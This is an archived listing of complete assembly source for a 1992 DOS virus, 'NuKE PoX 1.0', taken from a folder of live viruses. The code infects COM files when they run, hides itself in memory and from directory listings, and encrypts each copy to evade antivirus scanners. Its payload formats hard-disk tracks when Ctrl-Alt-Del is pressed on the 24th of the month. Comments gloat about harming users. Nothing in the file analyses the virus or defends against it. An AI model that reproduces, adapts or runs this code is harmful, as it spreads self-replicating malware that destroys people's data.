home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / pox1-0.asm < prev    next >
Assembly Source File  |  1992-11-12  |  14KB  |  347 lines

  1.  
  2. ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  3. ;-*      (c) Rock Steady, Viral Developments                             -*
  4. ;*-      (c) NuKE Software Developement  1991, 1992                      *-
  5. ;-*  Virus: NuKE PoX Version 1.0  (Alias `Mutating Rocko')               -*
  6. ;*-  ~~~~~~                                                              *-
  7. ;-*  Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness     -*
  8. ;*-  ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different   *-
  9. ;-*         Encrypted Copies of the Virus)                               -*
  10. ;*-  Bytes: 609 Bytes           Memory: (609 * 2) = 1,218 Bytes          *-
  11. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  12. crypt_size      equ     crypt - init_virus    ;All that gets Incrypted
  13. virus_size      equ     last - init_virus     ;Size of the Virus
  14. mut1            equ     3
  15. mut2            equ     1
  16. mut3            equ     103h
  17. del_code        equ     53h                   ;CTRL-ATL-DEL Key
  18. seg_a           segment byte public
  19.                 assume  cs:seg_a, ds:seg_a
  20.                 org     100h
  21. rocko           proc    far
  22.  
  23. start:          jmp     init_virus                              ;+3 bytes
  24. ;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  25. init_virus: call    decrypt         ;Decryption Routine Please  ;+3 Bytes
  26.             call    doit_now        ;Doit VirusMan...           ;+3 Bytes
  27.                                                                 ;========
  28. doit_now:   pop     bp              ;Anything ABOVE THIS LINE     9 Bytes
  29.             sub     bp,109h         ;have to be added to the 100h! This
  30.             push    ax              ;SETs our `Delta Pointer'.
  31.             push    bx
  32.             push    cx
  33.             push    dx              ;Save registers
  34.             push    si
  35.             push    di
  36.             push    bp
  37.             push    es
  38.             push    ds
  39.  
  40.             mov     ax,0abcdh       ;Are we resident Already?
  41.             int     21h
  42.             cmp     bx,0abcdh       ;Yupe... Quit Then...
  43.             je      exit_com
  44.  
  45.             push    cs              ;Get CS=DS
  46.             pop     ds
  47.             mov     cx,es
  48.  
  49.             mov     ax,3509h        ;Hook Int 9 Please...
  50.             int     21h
  51.             mov     word ptr cs:[int9+2][bp],es     ;Save Orignal Int 9h
  52.             mov     word ptr cs:[int9][bp],bx       ;Save Orignal Int 9h
  53.  
  54.             mov     ax,3521h        ;Some AVs may INTCEPT this Call!
  55.             int     21h             ;May be better to go Manually...
  56.             mov     word ptr cs:[int21+2][bp],es    ;Save the Int
  57.             mov     word ptr cs:[int21][bp],bx      ;Vector Table
  58.  
  59.             dec     cx                ;Get a new Memory block
  60.             mov     es,cx             ;Put it Back to ES
  61.             mov     bx,es:mut1
  62.             mov     dx,virus_size+virus_size ;Size to `Hide'
  63.             mov     cl,4            ;And all this crap hides
  64.             shr     dx,cl           ;your number of bytes in DX
  65.             add     dx,4
  66.             mov     cx,es
  67.             sub     bx,dx
  68.             inc     cx
  69.             mov     es,cx
  70.             mov     ah,4ah          ;Call int to do it...
  71.             int     21h
  72.  
  73.             jc      exit_com
  74.             mov     ah,48h
  75.             dec     dx
  76.             mov     bx,dx           ;It's Done... Yeah!
  77.             int     21h
  78.  
  79.             jc      exit_com
  80.             dec     ax
  81.             mov     es,ax
  82.             mov     cx,8h           ;Here we move our Virus into
  83.             mov     es:mut2,cx      ;the `Hidden' memory!
  84.             sub     ax,0fh
  85.             mov     di,mut3
  86.             mov     es,ax
  87.             mov     si,bp
  88.             add     si,offset init_virus
  89.             mov     cx,virus_size
  90.             cld
  91.             repne   movsb
  92.  
  93.             mov     ax,2521h                ;Restore Int21 with ours
  94.             mov     dx,offset int21_handler ;Where it starts
  95.             push    es
  96.             pop     ds
  97.             int     21h
  98.  
  99.             mov     ax,2509h                ;Restore Int9 with ours
  100.             mov     dx,offset int9_handler  ;The Handler...
  101.             int     21h
  102.  
  103.             push    cs
  104.             pop     ds
  105. exit_com:
  106.             mov     bx,offset buffer        ; Its a COM file restore
  107.             add     bx,bp                   ; First three Bytes...
  108.             mov     ax,[bx]                 ; Mov the Byte to AX
  109.             mov     word ptr ds:[100h],ax   ; First two bytes Restored
  110.             add     bx,2                    ; Get the next Byte
  111.             mov     al,[bx]                 ; Move the Byte to AL
  112.             mov     byte ptr ds:[102h],al   ; Restore the Last of 3 Byt
  113.             pop     ds
  114.             pop     es
  115.             pop     bp                      ; Restore Regesters
  116.             pop     di
  117.             pop     si
  118.             pop     dx
  119.             pop     cx
  120.             pop     bx
  121.             pop     ax
  122.             mov     ax,100h                 ; Jump Back to Beginning
  123.             push    ax                      ; Restores our IP (a CALL
  124.             retn                            ; Saves them, now we change
  125. int21       dd      ?               ;Our Old Int21
  126. int9        dd      ?               ;Our Old Int9
  127. ;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  128. int9_handler:
  129.             push    ax
  130.             in      al,60h          ;Has the user attempted a
  131.             cmp     al,del_code     ;CTRL-ALT-DEL
  132.             je      warm_reboot     ;Yes! Screw him
  133. bye_bye:    pop     ax
  134.             jmp     dword ptr cs:[int9]    ;Nope, Leave alone
  135. warm_reboot:
  136.             mov     ah,2ah             ;Get Date Please
  137.             int     21h
  138.             cmp     dl,18h          ;Is it 24th of the Month?
  139.             jne     bye_bye         ;Yes, bye_Bye HD
  140.             mov     ch,0
  141. hurt_me:    mov     ah,05h
  142.             mov     dh,0
  143.             mov     dl,80h          ;Formats a few tracks...
  144.             int     13h             ;Hurts So good...
  145.             inc     ch
  146.             cmp     ch,20h
  147.             loopne  hurt_me
  148.             db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!
  149.             iret
  150. ;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  151. dir_handler:
  152.              pushf
  153.              push    cs
  154.              call    int21call       ;Get file Stats
  155.              test    al,al           ;Good FCB?
  156.              jnz     no_good         ;nope
  157.              push    ax
  158.              push    bx
  159.              push    es
  160.              mov     ah,51h          ;Is this Undocmented? huh...
  161.              int     21h
  162.  
  163.              mov     es,bx
  164.              cmp     bx,es:[16h]
  165.              jnz     not_infected    ;Not for us man...
  166.              mov     bx,dx
  167.              mov     al,[bx]
  168.              push    ax
  169.              mov     ah,2fh          ;Get file DTA
  170.              int     21h
  171.  
  172.              pop     ax
  173.              inc     al
  174.              jnz     fcb_okay
  175.              add     bx,7h
  176. fcb_okay:    mov     ax,es:[bx+17h]
  177.              and     ax,1fh          ;UnMask Seconds Field
  178.              xor     al,1dh          ;Is in 58 seconds?
  179.              jnz     not_infected    ;Nope...
  180.              and     byte ptr es:[bx+17h],0e0h
  181.              sub     es:[bx+1dh],virus_size    ;Yes minus virus size
  182.              sbb     es:[bx+1fh],ax
  183. not_infected:pop     es
  184.              pop     bx
  185.              pop     ax
  186. no_good:     iret
  187. ;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  188. int21_handler:
  189.              cmp     ax,4b00h        ;File executed
  190.              je      execute
  191.              cmp     ah,11h          ;Dir handler
  192.              je      dir_handler
  193.              cmp     ah,12h          ;Next file Dir handler
  194.              je      dir_handler
  195.              cmp     ax,0abcdh       ;Virus testing
  196.              jne     int21call
  197.              mov     bx,0abcdh
  198. int21call:
  199.              jmp     dword ptr cs:[int21] ;Split...
  200.              ret
  201. execute:
  202.              push    ax
  203.              push    bx
  204.              push    cx
  205.              push    dx
  206.              push    si
  207.              push    di
  208.              push    es
  209.              push    ds
  210.  
  211.              mov     ax,4300h                ;Get file Attribs
  212.              int     21h
  213.              jc      exit
  214.  
  215.              test    cl,1h                   ;Make sure there normal
  216.              jz      open_file               ;Okay there are
  217.              and     cl,0feh                 ;Nope, Fix them...
  218.              mov     ax,4301h                ;Save them now
  219.              int     21h
  220.              jc      exit
  221.  
  222. open_file:   mov     ax,3D02h
  223.              int     21h                     ;Open File to Infect please
  224.  
  225.              jc      exit                   ;Error Split
  226.              mov     bx,ax                   ;BX File handler
  227.              mov     ax,5700h                ;Get file TIME + DATE
  228.              int     21h
  229.  
  230.              mov     al,cl
  231.              or      cl,1fh                  ;Un mask Seconds
  232.              dec     cx                      ;60 seconds
  233.              dec     cx                      ;58 seconds
  234.              xor     al,cl                   ;Is it 58 seconds?
  235.              jz      exit                   ;File already infected
  236.  
  237.              push    cs
  238.              pop     ds
  239.              mov     word ptr ds:[old_time],cx       ;Save Time
  240.              mov     word ptr ds:[old_date],dx       ;Save Date
  241.  
  242.              mov     ah,3Fh
  243.              mov     cx,3h
  244.              mov     dx,offset ds:[buffer]   ;Read first 3 bytes
  245.              int     21h
  246.  
  247.              jc      exit_now                   ;Error Split
  248.              mov     ax,4202h                   ;Move file pointer to end
  249.              xor     cx,cx                      ;of file...
  250.              xor     dx,dx
  251.              int     21h
  252.  
  253.              jc      exit_now                            ;Error Split
  254.              cmp     word ptr cs:[buffer],5A4Dh          ;Is file an EXE?
  255.              je      exit                                ;Yupe! Split
  256.              mov     cx,ax
  257.              sub     cx,3                                ;Set the JMP
  258.              mov     word ptr cs:[jump_address+1],cx
  259.              call    infect_me                           ;Infect!
  260.              jc      exit_now                            ;error split
  261.              mov     ah,40h                         ;Write back the first 3
  262.              mov     dx,offset ds:[jump_address]    ;bytes
  263.              mov     cx,3h
  264.              int     21h
  265. exit_now:
  266.              mov     cx,word ptr cs:[old_time]      ;Restore old time
  267.              mov     dx,word ptr cs:[old_date]      ;Restore Old date
  268.              mov     ax,5701h
  269.              int     21h
  270.  
  271.              mov     ah,3Eh
  272.              int     21h                     ;Close File now...
  273. exit:
  274.              pop     ds
  275.              pop     es
  276.              pop     di
  277.              pop     si
  278.              pop     dx
  279.              pop     cx
  280.              pop     bx
  281.              pop     ax
  282.              jmp     dword ptr cs:[int21]     ;Jmp back to whatever
  283. rocko        endp
  284. ;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  285. infect_me    proc    near
  286.              mov     ah,2ch                  ;Get Time
  287.              int     21h
  288.              push    dx                      ;Split seconds to AX
  289.              pop     ax
  290.              mov     byte ptr cs:[value],al  ;AL = 0 to 99
  291.                                              ;New Encryption Value
  292.              mov     cx,virus_size
  293.              push    cs
  294.              pop     es                      ;Copy ANOTHER copy of the
  295.              mov     si,offset init_virus    ;Virus to the end of us
  296.              mov     di,offset last
  297.              repne   movsb
  298.  
  299.              mov     cx,crypt_size
  300.              sub     cx,3h                   ;Encrypt that 2nd copy!
  301.              push    bp
  302.              mov     bp,offset last + 3h
  303.              call    decrypt_encrypt
  304.              pop     bp
  305.  
  306.              mov     ah,40h                  ;Write the New Encrypted
  307.              mov     dx,offset last          ;Virus to File!
  308.              mov     cx,virus_size
  309.              int     21h
  310.  
  311.              jc      exit_error                   ;Error Split
  312.              mov     ax,4200h
  313.              xor     cx,cx                   ;Pointer back to beginning
  314.              xor     dx,dx                   ;file!
  315.              int     21h
  316.  
  317.              jc      exit_error                   ;Split Dude...
  318.              clc                             ;Clear carry flag
  319.              retn
  320. exit_error:
  321.              stc                             ;Set carry flag
  322.              retn
  323. infect_me    endp
  324. old_time       dw      ?
  325. old_date       dw      ?
  326. jump_address   db      0E9h,90h,90h
  327. buffer         db      90h,0CDh,020h
  328. crypt:
  329. msgs           db      "(c) Rock Steady/NuKE"   ;No other than `Moi'...
  330. ;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
  331. decrypt      proc    near
  332.              pop     bp
  333.              push    bp
  334.              mov     al,byte ptr [value-106h][bp]    ;Get new Encryption
  335.              mov     cx,crypt_size                   ;Value
  336. decrypt_encrypt:
  337.              xor     cs:[bp],al             ;Fuck Scanners and put a
  338.              inc     bp                     ;`NOT AL' anywhere here...
  339.              loop    decrypt_encrypt
  340.              retn
  341. value        db      00h             ;Encryption value!
  342. decrypt      endp
  343. last:
  344. seg_a        ends
  345.              end     start
  346.  
  347.